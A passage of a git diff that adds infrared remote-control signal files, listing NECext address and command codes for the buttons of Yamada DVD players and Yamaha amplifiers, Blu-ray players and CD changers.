+# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 51 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 55 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 56 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir new file mode 100644 index 000000000..e1058aca0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: program +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: te +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: pn +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 48 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 49 00 00 00 +# +name: ab +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 51 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 55 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 56 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir new file mode 100644 index 000000000..9762d330a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: shift +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: plus_ten +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_2step +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir new file mode 100644 index 000000000..b3f7d79d5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 01 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 02 00 00 00 +# +name: SEARCH/SKIP_>> +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 03 00 00 00 +# +name: SEARCH/SKIP_<< +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 04 00 00 00 +# +name: DUBBING_MODE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 05 00 00 00 +# +name: DUBBING_START +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 06 00 00 00 +# +name: RANDOM/B +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 07 00 00 00 +# +name: DISC_SKIP/E +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 08 00 00 00 +# +name: MODE/D +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 09 00 00 00 +# +name: TEXT/TIME +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0A 00 00 00 +# +name: PROG/C +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0B 00 00 00 +# +name: REP/A +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 19 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1A 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1B 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1C 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 1F 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 41 00 00 00 +# +name: TAPE_DIRECTION +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 43 00 00 00 +# +name: TAPE_REC/PAUSE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 46 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 49 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4A 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4E 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 4F 00 00 00 +# +name: MD +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 57 00 00 00 +# +name: MD_REC/PAUSE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir new file mode 100644 index 000000000..18879fc4d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: DVD/LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: MD/TAPE1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: TV/DBS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: EFFET_ON/OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: EXTER.DEC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 92 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 93 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir new file mode 100644 index 000000000..d7355de82 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR1 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 81 00 00 00 +# +name: VCR2 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 82 00 00 00 +# +name: LD +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 83 00 00 00 +# +name: TV/DBS +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 84 00 00 00 +# +name: DVD/VCR3 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 85 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 87 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 88 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 89 00 00 00 +# +name: V-AUX +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 8A 00 00 00 +# +name: MD/TAPE1 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 8B 00 00 00 +# +name: TAPE_2_MONITOR +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 8C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 8D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 8E 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 90 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 91 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 94 00 00 00 +# +name: EFFET_ON/OFF +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: C1 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: C2 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D0 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D1 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D2 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D3 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D4 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D5 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D6 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D7 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D8 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D9 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: DA 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: DB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir new file mode 100644 index 000000000..77a1e544e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir @@ -0,0 +1,320 @@ +Filetype: IR signals file +Version: 1 +# +name: STANDBY +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 80 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 81 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 82 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 83 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 85 00 00 00 +# +name: SEARCH_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: SEARCH_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: SLOW_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8E 00 00 00 +# +name: SLOW_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 93 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 94 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 95 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 96 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 97 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 98 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 99 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9B 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9C 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9E 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9F 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A0 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A3 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A4 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A6 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A8 00 00 00 +# +name: SUB_TITLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A8 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AC 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AD 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AE 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B1 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B3 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B4 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B5 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B6 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B7 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 +# +name: SKIP_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: SKIP_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: POP_UP_MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: CF 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D7 00 00 00 +# +name: DIGEST +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E2 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: E9 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: EA 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: EA 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: EB 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: EC 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: ED 00 00 00 +# +name: 2ND_AUDIO +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: EE 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: EF 00 00 00 +# +name: REPEAT_OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F3 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F6 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir new file mode 100644 index 000000000..401a59ab9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: MODE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 00 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 00 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 01 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 02 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 05 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 06 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 07 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 08 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0A 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0B 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0C 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 19 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1B 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1B 00 00 00 +# +name: OUTPUT_- +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1C 00 00 00 +# +name: OUTPUT_+ +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1D 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1E 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 21 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 22 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 23 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 24 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 25 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4F 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 50 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 55 00 00 